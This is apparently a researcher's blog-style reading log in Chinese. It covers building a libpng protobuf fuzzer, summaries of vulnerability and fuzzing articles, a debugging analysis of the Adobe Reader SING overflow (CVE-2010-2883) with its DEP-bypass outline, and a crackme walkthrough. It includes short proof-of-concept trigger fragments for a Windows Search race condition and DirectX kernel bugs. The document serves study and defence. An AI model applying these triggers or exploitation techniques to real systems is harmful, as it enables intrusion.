png_set_sig_bytes(png_handler.png_ptr, kPngHeaderSize);
if (setjmp(png_jmpbuf(png_handler.png_ptr))) {
PNG_CLEANUP
return 0;
}
// Reading.
png_read_info(png_handler.png_ptr, png_handler.info_ptr);
// reset error handler to put png_deleter into scope.
if (setjmp(png_jmpbuf(png_handler.png_ptr))) {
PNG_CLEANUP
return 0;
}
png_uint_32 width, height;
int bit_depth, color_type, interlace_type, compression_type;
int filter_type;
if (!png_get_IHDR(png_handler.png_ptr, png_handler.info_ptr, &width,
&height, &bit_depth, &color_type, &interlace_type,
&compression_type, &filter_type)) {
PNG_CLEANUP
return 0;
}
// This is going to be too slow.
if (width && height > 100000000 / width) {
PNG_CLEANUP
return 0;
}
// Set several transforms that browsers typically use:
png_set_gray_to_rgb(png_handler.png_ptr);
png_set_expand(png_handler.png_ptr);
png_set_packing(png_handler.png_ptr);
png_set_scale_16(png_handler.png_ptr);
png_set_tRNS_to_alpha(png_handler.png_ptr);
int passes = png_set_interlace_handling(png_handler.png_ptr);
png_read_update_info(png_handler.png_ptr, png_handler.info_ptr);
png_handler.row_ptr = png_malloc(
png_handler.png_ptr, png_get_rowbytes(png_handler.png_ptr,
png_handler.info_ptr));
for (int pass = 0; pass < passes; ++pass) {
for (png_uint_32 y = 0; y < height; ++y) {
png_read_row(png_handler.png_ptr,
static_cast<png_bytep>(png_handler.row_ptr), nullptr);
}
}
png_read_end(png_handler.png_ptr, png_handler.end_info_ptr);
PNG_CLEANUP
return 0;
}
利用Makefile
,尝试编译执行
CXX=clang++
HEADERS= -I oss-fuzz/projects/libpng-proto -I ./libprotobuf-mutator
all: libpng_read_fuzzer.o png_proto_fuzzer_example.o png_fuzz_proto.pb.o
$(CXX) -g $^ \
build/src/libfuzzer/libprotobuf-mutator-libfuzzer.a \
build/src/libprotobuf-mutator.a \
protobuf/src/.libs/libprotobuf.a \
libpng/libpng16.a \
-fsanitize=fuzzer \
-lz \
-o proto_fuzzer_test
libpng_read_fuzzer.o: libpng/contrib/oss-fuzz/libpng_read_fuzzer.cc
$(CXX) -g -c $(HEADERS) -DLLVMFuzzerTestOneInput=FuzzPNG $^
png_proto_fuzzer_example.o: oss-fuzz/projects/libpng-proto/png_proto_fuzzer_example.cc
$(CXX) -g -c $(HEADERS) $^
png_fuzz_proto.pb.o: oss-fuzz/projects/libpng-proto/png_fuzz_proto.pb.cc
$(CXX) -g -c $(HEADERS) $^
但是会遇到错误
为了解决这个问题,把oss-fuzz
的docs
都过了一遍,发现我这么构建确实存在问题,而且官方也不推荐使用这种方式构建,建议使用
python infra/helper.py
脚本构建,整个过程更加的顺畅。
git clone https://github.com/google/oss-fuzz
cd oss-fuzz
python infra/helper.py build_image libpng-proto
python infra/helper.py build_fuzzers libpng-proto
python infra/helper.py run_fuzzer libpng-proto png_proto_fuzzer_example
效果
首先,为什么png
适合使用protobuf
来构建fuzzer
呢?
理由,我总结应该主要有
1. png结构相对简单
2. fuzzing更加高效
png各个chunk的数据在处理过程中有个crc校验,我们直接使用libfuzzer进行fuzzing,不是不可以,只是可能会比较低效甚至无用,因为更改某个chunk数据之后,libpng在使用crc校验会过不了,导致后面我们想fuzz的很多函数根本不会执行
3. 构造fuzzer难度降低
谷歌提供了一种比较特别的方式来构建fuzzer
,即使用protobuf
为基础来构建fuzzer
。我个人感觉,fuzzer
一般在整个fuzzing
过程中,是最难的部分,但是利用protobuf,理论上只要数据结构能用protobuf
表示,那么就可以利用该方法进行fuzzing,这种方式极大的降低了自己写一整套fuzzer
的难度。
最后,第一次接触这类的fuzzer
构建方法,对fuzzing
的理解也不是很全面,难免会出现各种各样的错误,欢迎批评指正。
一篇特别好的,学习tls协议的文章,正好公司最近在做这部分的fuzz工作,很有用,还有就是其提供的tls协议学习网站
花了几天时间,断断续续利用业余时间看完了,文章非常长,主要是利用intel
的pin和dynamorio
做动态分析,其中包含的代码覆盖率检测部分对于研究fuzzing
很有用,再有就是dynamorio
部分的tracer
和wrap
了,wrap
在fuzz windows gui
程序可能会比较有用,这里我加入到了自己的xfuzzer
程序中
今天重读了pj0的文章,发现他是自己写的一个简单的利用idapython得到代码块数据,之后利用patch版本honggfuzz去测试mac下的闭源软件,现在有比这个好的解决方案,tinyinst
利用Rust写一个操作系统,Rust本身我不怎么会,就是照葫芦画瓢的做了一遍,主要是读一读其中涉及到操作系统部分的实操,具体rust的细节可以不考虑,目前来看还挺有意思的
在前人的基础上fuzz,只是单纯的添加了运算的字典,就fuzz出了不一样的结果,很有启发
文中介绍了sandbox process 和 broker process之间是什么,两者什么关系,以及如何工作的,对于理解沙盒进程是一篇比较好的论文,之后介绍了如何使用python fuzz IPC message
一篇关于使用snapshot
系统,之后去fuzz
的文章,只能看懂文章的一部分而,但是文章中给的一些资料还是很好的,比如使用rust写一个系统内核,作为自己底层知识的拓展都极有好处
利用frida分析windows平台的恶意软件,这种用法我是第一次看到,没有具体用过,这种直接hook的方式,不知道比我自己写hook函数的方式会不会更加方便,而且不知道各种反调试能不能绕过,如果这类做不到的话,应该是比较鸡肋的
stdin转化为网络输入,这种情况,在程序比较简单时,有用,如果程序过于复杂,就没法这么改,到时需要用到python相关的fuzz库,比如boofuzz等
一个简化版的dynamiicrio,大概的用法知道了,但是缺少实际应用的例子,这里实际的例子是指用于漏洞挖掘中的,我在github上提了一个issue,但是作者提供的是库的用法,以后出现了用法,再补充
文章主要说的是,通过twitter搜索一些恶意软件的信息,包括一些搜索的技巧,很实用
github库 一款andriod API库的测试工具
一篇详细讲解IAT加密壳的文章,包括了整个壳的加密过程,最好的就是最后给出了源码
文章针对目前微软采取的堆栈漏洞防护进行了简单的叙述,最主要的是最后的三个绕过案例
CVE-2015-0010:
这个漏洞存在于cng.sys模块中,该模块是微软的内核密码学驱动模块,里面包含了开放给其它内核驱动和用户模式程序的控制功能。在使用特殊的控制代码进行访问时,它会返回特定的函数接口地址,以便用户进行相关的密码学操作,而无需自己从头实现这些代码,本来这些功能应该仅开放给内核模式代码,但在cng模块的早期实现中,这些功能同时可以被内核和用户模式代码调用,这样就出现了问题。这种类型的信息泄露并没有利用内核栈上的未初始化变量,但依然能够获得特定内核变量的地址,成功实现了内核的信息泄露
CVE-2019-1071:
这个漏洞利用了内核结构体的联合功能(union)定义,用户之所以定义联合体,其本意是为了节省内存,可是在特定的情况下,却成了危险的来源。
CVE-2019-1436:
这个漏洞利用了函数的返回值未被置空的bug。在内核函数调用的时候,部分函数的返回值被定义为VOID, 表明它不返回任何有效的结果,系统仅仅利用了函数的执行过程。
文章中说了fuzzing
过程中最主要的三要素
afl-showmap
的使用
在测试前,afl-cmain
和afl-tmin
使用的必要性,使用screen
启动afl
等一些实用技巧
还有不断重复mini化的过程,作为afl
入门文章,质量还是比较高的
作者也给出了相关的项目代码
smb v3整数溢出漏洞,溢出点在于,两个数据长度相加没有检查边界值,如果溢出导致越界读写,最后产生了RCE
Header = *(COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(v2 + 0x18);// [v2+0x18]中为客户端传进来的Buffer
// [v2+0x24]为数据包长度
v4 = _mm_srli_si128((__m128i)Header, 8);
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(pData + 0x50) + 0x1F0i64) + 0x8Ci64);
if ( CompressionAlgorithm != v4.m128i_u16[0] )
return 0xC00000BBi64;
// OriginalCompressedSegmentSize + CompressedSegmentSize,这里没有检查相加的值,导致整数溢出,分配一个较小的UnCompressBuffer
UnCompressBuffer = SrvNetAllocateBuffer((unsigned int)(Header.OriginalCompressedSegmentSize + v4.m128i_i32[1]), 0i64);
跟checkpoint的rdp整数溢出漏洞基本一样,两个数值相加,没有进行合法性检查,整数溢出导致RCE
这类漏洞单纯依靠逆向可以发现,但是难度极大,感觉fuzzing也是可以的,就是不知道具体用什么样的fuzz方式
一个类似于bff的传统fuzzer,感觉肯定是没有bff强,这类的传统fuzzer自我感觉主要可以用在比如.net java这种无法使用afl的软件中,如果可以使用DynamoRIO监控code-coverage的,肯定不用这种的,效率太低了。但是看ke liu大佬,他们找adobe reader的漏洞就是使用traditional fuzzer,不知道他们的fuzzer是不是经过特殊的优化,否则自我感觉肯定不行
群里lindln的文章,主要说的是利用winafl fuzz一个图片库,整个文章就最后一个部分需要注意一下,他提到了使用loadlibrary直接载入导致整个过程不稳定,最后通过lief静态更改pe实现提速,并且稳定了整个fuzzing
给domato添加犹如afl的反馈机制
说的是使用honggfuzz测试tcp服务器的技术,主要用到了其中的netdriver,作者说这个具有普遍的通用性,而且最后给出了测试步骤,用的是apache的httpd,不知道这类的能不能测试像libev和libuv这种框架写的服务组件,能的话,对我目前的研究就帮助太大了
honggfuzz 2.x版本变异策略研究,文章很水,主要是可以研究是否能够移植变异代码
又是一篇checkpoint的path traversal漏洞
关键点在于其整个fuzz过程中遇到的问题,其中的解决方法
文件格式
检验
patched检验
目前没有完全看完,看完细述
依然是windows RDP的漏洞,主要是windows路径规范函数PathCchCanonicalize导致的路径穿越漏洞。windows的路径穿越漏洞,我是第一次看到案例,也不知道这类漏洞怎么利用,看到了可以关注一下。这个文章主要是思路很有意思,在一个函数中发现了漏洞,延伸一下,就有可能在所谓的安全函数中同样发现漏洞,而且只要是利用了这个函数的客户端都有这个洞,可以利用github搜一波,搜一下还真不少,可以挖一波
还有一点的就是,即使是官方api有漏洞,但是牛逼的程序员,依然可以通过编码check避免这个洞,真的强
安卓whatapp下 double free漏洞到 RCE,这种通信工具预览解析的漏洞,应该挺多的,包括微信,钉钉等等,应该都有这类漏洞,安卓下的洞,我不熟悉,权当记录学习
win32k内核模块的漏洞挖掘思路,跟小刀师傅的文章类似,都是windows窗口造成的漏洞。只是标题起的太大了,中文文章的通病。要是想挖该模块的洞,可以细读,文中绕过了现在两个主要的防护措施,锁,计数计时。这种漏洞,感觉应该有fuzz的方法,因为是在callback的时候出问题。可能bochs?
第一次看到使用bff挖到漏洞的,而且作者还说了他使用winafl,没挖到,用这个随随便便就挖到了很多了crash,找机会试一下
使用AFL的persistent mode fuzz kdot udp数据流,选取的目标是select函数,文章中提到的原始代码已经找不到了,但是可以在github上找到优化过后的一点影子udp-handler,我最近在研究这些,但是这里写的太粗了
最近忙着自己的新研究项目,有点忙,没有来得及更新阅读文章,主要是阅读的比较松散。
P0的文章,这个文章说的是fuzz闭源的macos下的imageio库,我看了一下文中提到的代码,愣是没看明白,这个老兄到底说的方法是啥,怎么还会用到代码块呢,由于睡前看的,没有看的特别细,等有时间详细看一下,感觉那个idapython的脚本可能会挺有启发的
checkpoint又放大招了,内容含量特别巨大,等以后遇到相关主题,再回来慢慢消化吧。把大概说一下,主要说Windows kernel fuzz,说了两种fuzz方式,一种kAFL,一种Syscall,kAFL可以理解,但是Syscall没有用过,暂时还不知道,下次留意。整个分析流程俩字,丝滑。文章唯一的遗憾是没有给出测试代码😭
checkpoint调查的几个RDP客户端
rdesktop:没有验证直接读stream长度
rdesktop:整数溢出
FreeRDP:整数溢出
可以发现前两种rdp客户端的这类漏洞逻辑,都是在处理接受的的数据流时,判断不严导致的漏洞,这类漏洞其实理论上来说很好找,只要使用ida跑一遍,之后再查看每个这类的实现代码即可,关键在于耐性研究,难度不大
网络数据流的漏洞寻找基本就2条
Robust input checks.
Robust decompression checks, to guarantee that no byte will be written past the destination buffer.
最后一个微软自带的rdp客户端漏洞属于目录穿越,主要在于这个函数
BOOL PathCanonicalizeA(
LPSTR pszBuf,
LPCSTR pszPath
);
具体的逻辑的话,目前就不深究了,上面的几个案例已经让我获益匪浅了。
afl+preeny
在fuzz上的使用,文章说的太过简单了,没有交代为什么要用preeny
,我能够直接更改wget代码去输入一些东西,为啥还要用preeny呢?等以后遇到了更好的案例再回来研究一下吧
ZDI
的mrpowell
的关于dharma的文章,文章里面使用的案例是基于pdf
中js api
语法生产的javascript
去fuzz foxit reader
,文章是19年1月的,时间优点远了,那时候应该泉哥的那种方法还没有开始用,但我觉得这种方法肯定是没有泉哥提到的直接利用domato
去fuzz
来的效果好。但是优点就是语法可以我们自己定义,算是很好的一个学习dharma
的文章吧。dharma
我没有用过,不知道这类基于语法的fuzzer
能不能用于特定的文件格式,因为我近期主要的fuzz
格式依然还是文件格式,可以适当做一下尝试
ThunderJ师傅的文章,他和小刀师傅的文章一样,说的比较详细,不一样的就是,小刀师傅的比较晦涩难懂,这个师傅的文章要稍微浅显一点。这篇文章说的也是windows
内核漏洞利用的。其中的bypass heap cookie
和bypass SMEP
的技术点是以前看文章出现,但是说的不详细的部分。对于Windows内核部分的漏洞利用是很好的学习资料。
经典的堆风水+CreateBitMap
的漏洞利用方法。从开始的整数溢出,到缓冲区溢出,再通过CreateBitMap
任意地址读写,这种方法我经常在别人的内核代码poc/exploit
中看到,头一次看到这种详细讲解的,很给力。加入CheckList
,学习一波
同样是Windows Search
服务的远程代码执行漏洞,漏洞的核心流程在这
这种自定义协议的交互过程,这类漏洞是如何发现的呢?其实这类漏洞的溢出的原理基本都是大相径庭的,这类的是通过纯人工逆向还是通过网络协议fuzz,我一直搞不懂,如果以后能够遇到说这类漏洞发现过程的,一定得好好学习一下。还有就是如何交互式的更改流量,能够自动化?都是很有价值的问题和研究方向。
上次在看20200421
文章的最后提到了竞态条件引起的漏洞,苦于没有案例,这个文章的漏洞就是这个案例。
first fetch
根据共享内存pszURL
的长度分配内存,second fetch
根据共享内存pszURL
的长度写入数据,如果pszURL
不是共享内存,那么就没有任何问题,问题出在两次操作,没有对这个内存lock,导致first
到second
如果存在race condition
,就会出现堆溢出,可以发现通过两个线程来读写,立马就能发现问题
DWORD __stdcall thread_putter(LPVOID param)
{
ISearchManager *pSearchManager = (ISearchManager*)param;
while (1) {
pSearchManager->put_RootURL(L"AA");
pSearchManager->put_RootURL(L"AAAAAAAAAA");
}
return 0;
}
DWORD __stdcall thread_getter(LPVOID param)
{
ISearchRoot *pISearchRoot = (ISearchRoot*)param;
PWSTR get_pszUrl;
while (1) {
pISearchRoot->get_RootURL(&get_pszUrl);
}
return 0;
}
今晚一直调试这个shadowsocksr-native混淆验证auth.c存在基于堆的越界写漏洞,没来得及阅读😭
第一次看到这么详细如何写windows
内核exploit
的,其中说了如何从普通权限到system
提权,分析了驱动处理流程,分析了如何分配内存进行exploit
,非常好,而且文中涉及到的几个文章,质量也特别高,这个应该排在小刀师傅文章前面学习,可以作为系列学习
文章说的是将oss-fuzz整合进LibreSSL发现了几个洞,很遗憾,我去年年末的时候,打算测这个库的,但是windows上需要测的太多了就耽误了,谁知道有这么多洞,以后真得注意了,很多库随便测测真的能测出不少东西,文章技术性的东西不多,给自己个警示
主要介绍了adobe
的plugin
机制和Javascript
机制,最后调试javascript
的方法,以后在学习Adobe
相关漏洞应该很有用,可以作为参考资料
今天本来是打算读文章的,临时fuzz
出现了一个crash
,由于很蛋疼的原因,必须尽早分析,就分析了一晚上,最后最有意思的是,crash
是由于代码在解析pe
的时候因为IMAGE_SECTION_HEADER
的VirtualAddress
和SizeOfRawData
过滤不严所导致,给我的感觉,是在分析样本😂,只是这个是64
位环境下的,pe
几个header
稍微有点不同,我平时很少分析64
位样本,pe 64 header
准备不足,浪费了一点时间。如果有机会,可以分享一下具体的crash
细节
内核UAF
漏洞,文章的重点在于how to bypass kASLR, kCFG and SMEP
内核漏洞利用的文章就具体看过小刀师傅的从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件,小刀师傅说的是Windows特别复杂的菜单管理组件的double free
漏洞,我到现在也才实验到poc阶段,exploit依然还是没懂,小刀师傅文章说的是特别详细,但是由于菜单组件太难了,啃着实验太恶心了
这篇文章比起小刀师傅的那个double free
无论是从理解还是利用都简单很多,double free
利用的是菜单组件的procedure
。
文章中利用named pipes
进行的heap spray
也特别有意思,很值得好好学习一下。因为目前能够正常exploit
的windows
环境也就kernel
和使用js
脚本类的比如pdf reader
,浏览器这种的了。所以这两个方向碰到的exploit
文章,能细看就尽力细看,能实验尽力实验
读这个之前可以把这个文章Adobe Reader BMP/RLE heap corruption - CVE-2013-2729
也看一下,说的是在分析bitmap
图片中造成的漏洞,因为我自己也挖到了几个windows bitmap
图片处理的漏洞,所以对这类漏洞还是很感兴趣的
无论是CVE-2019-8014
,还是CVE-2013-2729
,都是由于整数溢出导致堆的任意地址可读写,进而达到RCE
,这两篇文章有几个知识点,可以补充自己目前的短板
1. 整数溢出漏洞分析
2. 堆任意地址读写到RCE
3. pdf文件javascript的漏洞利用
尤其是后面的两个点,一直想找机会补充,等把unicorn
学完(unicorn
还差最后一个service
案例),做这个,做的过程中可以结合泉哥的书中pdf
漏洞利用的例子学习
这个文章是很久之前star
的,最近比较累,就翻出来看了一下,这个是湛沪实验室发现的,总共四个漏洞,都和DirectX
有关,其所有的poc
CVE | Function |
---|---|
CVE-2018-8405 | D3DKMTCreateAllocation |
CVE-2018-8401 | D3DKMTSubmitCommand |
CVE-2018-8400/8406 | D3DKMTRender |
四个洞,影响到了3
个函数,仔细观察每个poc
代码,都会发现代码都有很大的特色
allocation.hDevice = deviceAry[0].hDevice;
char runtimedata[0x200] = { 0 };
memset(runtimedata, 0xee, 0x200);
allocation.pPrivateRuntimeData = runtimedata;
allocation.PrivateRuntimeDataSize = 0x200;
allocation.hResource = NULL;
allocation.NumAllocations = 1;
D3DDDI_ALLOCATIONINFO2 allocationInfo = { 0 };
allocationInfo.pSystemMem = runtimedata;
allocationInfo.VidPnSourceId = 0;
allocationInfo.Flags.OverridePriority = 1;
allocationInfo.PrivateDriverDataSize = 0x60;
char privateData[0x60] = { 0 };
memset(privateData, 0xcc, 0x60);
*(DWORD*)(privateData + 4) = 0x100;
*(DWORD*)(privateData + 8) = 0x200;
*(DWORD*)(privateData + 0xc) = 0x700;
参数特别多,各个参数有各种各样类型,感觉这种代码是通过某种方式格式化生成的。跟我以前看到checkpoint
发现的内核漏洞代码有点像,我也特地fuzz
了checkpoint
的poc
代码,但是效果不好,运行了几天也没有出现任何crash
/* generate data */
long ret = 0;
std::seed_seq seed(input_data.begin(), input_data.end());
std::mt19937 rand_gen(seed);
uint8_t vert_num = ((rand_gen() % 0xff) + 1) & 0xff;
PTRIVERTEX vert = NULL;
uint8_t rect_num = ((rand_gen() % 0xff) + 1) & 0xff;
PGRADIENT_RECT rect = NULL;
ULONG ulMode;
vert = (PTRIVERTEX)malloc(sizeof(TRIVERTEX) * vert_num);
if (vert == NULL)
FINISH(-1);
memset(vert, 0, sizeof(TRIVERTEX) * vert_num);
rect = (PGRADIENT_RECT)malloc(sizeof(GRADIENT_RECT) * rect_num);
if (rect == NULL)
FINISH(-2);
memset(rect, 0, sizeof(GRADIENT_RECT) * rect_num);
/* generate random vert array */
for (uint8_t i = 0; i < vert_num; i++)
{
vert[i].x = rand_gen() & 0xffffffff;
vert[i].y = rand_gen() & 0xffffffff;
vert[i].Red = rand_gen() & 0xffff;
vert[i].Green = rand_gen() & 0xffff;
vert[i].Blue = rand_gen() & 0xffff;
vert[i].Alpha = rand_gen() & 0xffff;
}
/* generate random rect array */
for (uint8_t i = 0; i < rect_num; i++)
{
rect[i].UpperLeft = rand_gen() & 0xffffffff;
rect[i].LowerRight = rand_gen() & 0xffffffff;
}
/* generate mode */
/** ulMode
* GRADIENT_FILL_RECT_H
* GRADIENT_FILL_RECT_V
* GRADIENT_FILL_TRIANGLE
**/
switch (rand_gen() & 3)
{
case 0:
ulMode = GRADIENT_FILL_RECT_H;
break;
case 1:
ulMode = GRADIENT_FILL_RECT_V;
break;
case 2:
ulMode = GRADIENT_FILL_TRIANGLE;
break;
}
GradientFill(hdc1, vert, vert_num, rect, rect_num, ulMode);
我只是随意尝试了一下随机化各种参数,效果不好也很正常,就打算以后遇到了再说。今天在这看到了这种代码,感觉跟我使用的方式有点像,又有可能是使用domato
那种语法生成的,或者别的什么测试方式,感觉这种代码很有意思,没准可以使用我的随机化的方法跑一下,可能会有效果,没试又怎么知道呢。
文章的最后提到了,可以添加多个线程修改及释放数据,来寻找是否存在竞争条件和TOC/TOU问题,这类的测试方法我是没有使用过的。下次如果碰到案例,可以学习一波
今天租的房子网不好,就看了一篇,不太行,得趁着这段时间累,可以多补补各种文章,多学习学习各种姿势
Discord
群里symon
的文章,自从看完泉哥利用domato fuzz adobe reader
的随笔之后,一直想找个时间研究一下究竟怎么使用domato
去fuzz adobe
的js api
,苦于最近有几个exploit
需要学习,没有抽出时间,趁着今晚特别累,把这篇文章看了几遍,这种grammar-based fuzz
很有意思
简单的逻辑
domato ---> Debenu Quick PDF Library 脚本---> BugId调用pdf解析器解析 ---> crash
简单叙述就是,利用domato
产生能够生产正常pdf
的quick pdf library pdf
脚本,执行脚本生产文件,之后利用bugid
调用pdf
解析器解析生成的pdf
,逻辑不太难理解,难点在于domato
生成脚本的语法相关操作。
比起基于代码覆盖的fuzz,这种方法有个致命的缺点,就是速度慢。但是也开辟了一条挖洞的有趣方式,值得学习学习
这篇文章是symon
文章中最后一步BugId
的具体使用,为BugId
作者所写。这种方法还是那句话,速度慢,但是如果利用在无法直接使用winafl fuzz
的.net
程序不知道效果会怎么样,回头我试一下
最近不知道是不是换季的原因还是运动过度,特别累,上面的都是手机看的,实验也没完成,所以文章就多看点
利用idapython
检测危险函数,配合fuzz
效果很好,利用自己写的脚本找到了几个洞,这里有个批量处理的部分很有用,重点记录一下
漏洞形成原因在于ip包数据长度过滤不严,导致溢出,文章对整个漏洞形成的流程介绍的很详细,并且给出了完整的利用方法,其中的几个参考链接也很有用,有时间可以验证学习一下
sakura
大佬的文章,里面介绍了如何使用afl-unicorn
fuzz linux程序,从基础教程开始使用afl-unicorn,其中还有几篇链接文章值得学习,以前只是在恶意代码分析中用到过afl-unicorn
,目前没有思路用在浏览器fuzz
,等大佬更新学习一波
这个漏洞分析的很迷茫,很蛋疼。漏洞原因用了一天也就熟悉了,但是为了找到从stacat
开始到触发shellcode
,用了接近半个月的时间。想了各种各样的方法也没有解决到底是怎么触发的。
windows xp sp3
Windows Debugger Version 6.11.0001.404 X86
根据exploit-db问题的根源出在CoolType.dll
在解析SING Table
时造成溢出,
简单的来看一下CoolType.dll
对SING
的解析伪码,理解一下原理
char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
{
int v4; // edi
bool v5; // zf
int v6; // eax
size_t v7; // eax
int v8; // eax
int v9; // eax
int v10; // eax
int v12; // eax
int *v13; // ecx
char v14; // [esp+10h] [ebp-58h]
int v15; // [esp+30h] [ebp-38h]
int v16; // [esp+38h] [ebp-30h]
int v17; // [esp+3Ch] [ebp-2Ch]
int v18; // [esp+40h] [ebp-28h]
int v19; // [esp+44h] [ebp-24h]
int v20; // [esp+48h] [ebp-20h]
int v21; // [esp+4Ch] [ebp-1Ch]
int v22; // [esp+50h] [ebp-18h]
char v23; // [esp+57h] [ebp-11h]
int v24; // [esp+64h] [ebp-4h]
char v25; // [esp+68h] [ebp+0h]
v4 = a1;
v18 = a1;
v16 = a4;
sub_804172C();
v5 = *(_DWORD *)(a1 + 8) == 3;
v24 = 0;
if ( !v5 )
{
v21 = 0;
v22 = 0;
v5 = *(_DWORD *)(a1 + 12) == 1;
LOBYTE(v24) = 1;
if ( v5 )
{
v23 = 0;
sub_80217D7(&v21, a1, "name");
if ( v21 )
goto LABEL_52;
sub_8021B06(&v19, a1, "SING"); // <--- 解析SING
v6 = v19;
LOBYTE(v24) = 2;
if ( v19 )
{
if ( !(*(_DWORD *)v19 & 0xFFFF) || (*(_DWORD *)v19 & 0xFFFF) == 0x100 )
{
v25 = 0;
strcat(&v25, (const char *)(v19 + 16)); // 问题函数
sub_8001243(a2, (int)&v25);
v6 = v19;
}
v23 = 1;
}
...
return 1;
}
将v19
的数据附加到v25
末尾,很明显,如果v19
没有做长度校验就很容易造成溢出。
具体SING
字体相关的说明可以看一下adobe文档
现在来具体分析msf.pdf
看看是如何造成溢出的,利用pdfstreamdumper
提取出数据,010查看一下字体文件
在具体分析一下SING Table
数据
根据github上的解析库afdko可以找到SING Table
的具体定义
根据定义,可以发现uniqueName
的偏移位置为16字节
typedef struct
{
Card16 tableVersionMajor; // +0 偏移
Card16 tableVersionMinor; // +2
Card16 glyphletVersion; // +4
Card16 permissions; // +6
Card16 mainGID; // +8
Card16 unitsPerEm; // +10
Int16 vertAdvance; // +12
Int16 vertOrigin; // +14
Card8 uniqueName[SING_UNIQUENAMELEN]; // +16
Card8 METAMD5[SING_MD5LEN];
Card8 nameLength;
Card8 *baseGlyphName; /* name array */
} SINGTbl;
exploitdb
说是uniqueName
造成的溢出,我们在0803DD9F
下断点,对照一下数据
.text:0803DD9F add eax, 10h
.text:0803DDA2 push eax ; char *
.text:0803DDA3 lea eax, [ebp+108h+var_108] // 即lea eax, [ebp]
.text:0803DDA6 push eax ; char *
.text:0803DDA7 mov [ebp+108h+var_108], 0
.text:0803DDAB call strcat
可以发现eax
指向的就是SING Table
偏移16
字节处正好是uniqueName
,根据msdn
没有经过验证strcat
会直接溢出[ebp]
,再来看一下ida
反汇编代码
if ( !(*(_DWORD *)v19 & 0xFFFF) || (*(_DWORD *)v19 & 0xFFFF) == 0x100 )
{
v25 = 0;
strcat(&v25, (const char *)(v19 + 16));
sub_8001243(a2, (int)&v25);
v6 = v19;
}
对应的汇编代码
超过0x104
肯定会出错,具体出错的位置,我始终无法跟踪到!其实这里从9.4.0
的修复版本中也能看到
其中sub_813391E
,长度肯定不会超过0x104
char *__cdecl sub_813391E(char *a1, char *a2, int a3) // 修复中添加的函数
{
size_t v3; // eax
char *result; // eax
v3 = strlen(a1);
if ( a3 > v3 )
result = strncat(&a1[v3], a2, a3 - v3 - 1);
else
result = a1;
return result;
}
不过可以根据这个确定一下溢出长度
即使不知道具体的出错位置,+8
的位置是将来跳转的位置,这个是可以确定的。
其实出错的原因,我能想到的无非就是两种
SEH handler
测试过SEH handler
,在我有限的知识体系里,应该先调用ntdll!KiUserExceptionDispatcher
在这里下断点,但是却没有断到
虚函数指针
这里在函数sub_8016BDE
中的sub_801BB21
看到了,调试了一下,但也不对
int __cdecl sub_801BB21(int (__stdcall ***a1)(int, int, int, int, int, int), int a2, int a3, int a4, int a5, int a6, int a7)
{
int (__stdcall **v7)(int, int, int, int, int, int); // eax <=====
int result; // eax
v7 = *a1;
++dword_823A6A0;
result = (*v7)(a2, a3, a4, a5, a6, a7);
if ( !(_BYTE)result )
--dword_823A6A0;
return result;
}
以上两种方法都尝试了,其中也尝试过用windbg preview
的TTD
调试,但是遇到了这个问题,最终都没有确定具体的原因,很伤。
再来说一下shellcode
,首先需要利用icucnv36
模块,因为其在各个版本中的地址是一样的,可以将+8
的位置溢出到该模块,从而绕过DEP
,但是有一点需要注意,icucnv36
模块中没有常规的直接绕过DEP
的函数,可以利用其中的
CreateFileA -> CreateFileMapping -> MapViewOfFile -> memcpy
这种方法其实在我日常分析恶意代码中比较常见。具体怎么利用就不细说了,网上都有。
到这里,该漏洞就分析完了
Brief Analysis On Adobe Reader SING Table Parsing Vulnerability (CVE-2010-2883)
泉哥的书
ollydbg版本: 吾爱破解改进版
这个crackme主要就是考察浮点数运算
测试数据name=33333, serial=666666
开始的操作和002
基本相同,找到带有Wrong
字符串的汇编代码调用部分,在该函数的开始部分设下断点,
Ctrl+F2
,一直运行,直到第一次出现输入的name
,可以认为这是算法的开始部分,一步一步分析
具体的分析加注释
第一部分
004081F2 . 50 push eax ; /String = "?譕藬痉,??p???????铨?藿磀?巀?????譕??痿(??蕶秀倊???????�??诌嗿?痿,???瘵??篥.???嵀?????譕凬?僼痿(??蕶秀個??菿?????????�"
004081F3 . 8B1A mov ebx,dword ptr ds:[edx] ; |
004081F5 . FF15 F8B04000 call dword ptr ds:[<&MSVBVM50.__vbaLen>; \__vbaLenBstr
004081FB . 8BF8 mov edi,eax ; 得到name.length
004081FD . 8B4D E8 mov ecx,dword ptr ss:[ebp-0x18]
00408200 . 69FF 385B0100 imul edi,edi,0x15B38 ; edi=name.length*0x15B38
00408206 . 51 push ecx ; /String = NULL
00408207 . 0F80 B7050000 jo AfKayAs_.004087C4 ; |
0040820D . FF15 0CB14000 call dword ptr ds:[<&MSVBVM50.#rtcAnsi>; \rtcAnsiValueBstr
00408213 . 0FBFD0 movsx edx,ax ; anscii(name[0])
00408216 . 03FA add edi,edx ; edi=name.length*0x15B38+anscii(name[0])
00408218 . 0F80 A6050000 jo AfKayAs_.004087C4
0040821E . 57 push edi
0040821F . FF15 F4B04000 call dword ptr ds:[<&MSVBVM50.__vbaStr>; msvbvm50.__vbaStrI4
00408225 . 8BD0 mov edx,eax ; 将edi转化为10进制赋值给edx
第二部分
004082EF . D905 08104000 fld dword ptr ds:[0x401008] ; 值为10
004082F5 . 833D 00904000>cmp dword ptr ds:[0x409000],0x0
004082FC . 75 08 jnz short AfKayAs_.00408306
004082FE . D835 0C104000 fdiv dword ptr ds:[0x40100C] ; 除完之后st(0)=2
00408304 . EB 0B jmp short AfKayAs_.00408311
00408306 > FF35 0C104000 push dword ptr ds:[0x40100C]
0040830C . E8 578DFFFF call <jmp.&MSVBVM50._adj_fdiv_m32>
00408311 > 83EC 08 sub esp,0x8
00408314 . DFE0 fstsw ax
00408316 . A8 0D test al,0xD
00408318 . 0F85 A1040000 jnz AfKayAs_.004087BF
0040831E . DEC1 faddp st(1),st ; double(deci(serial))+2
第三部分
004083FB <AfKayAs_.这里*3> . DC0D 10104000 fmul qword ptr ds:[0x401010] ; (serial+10/5)*3
00408401 . 83EC 08 sub esp,0x8
00408404 . DC25 18104000 fsub qword ptr ds:[0x401018]
0040840A . DFE0 fstsw ax
0040840C . A8 0D test al,0xD
0040840E . 0F85 AB030000 jnz AfKayAs_.004087BF
第四部分
0040861A . DC1D 28104000 fcomp qword ptr ds:[0x401028]
00408620 . DFE0 fstsw ax ; 重点关注指令
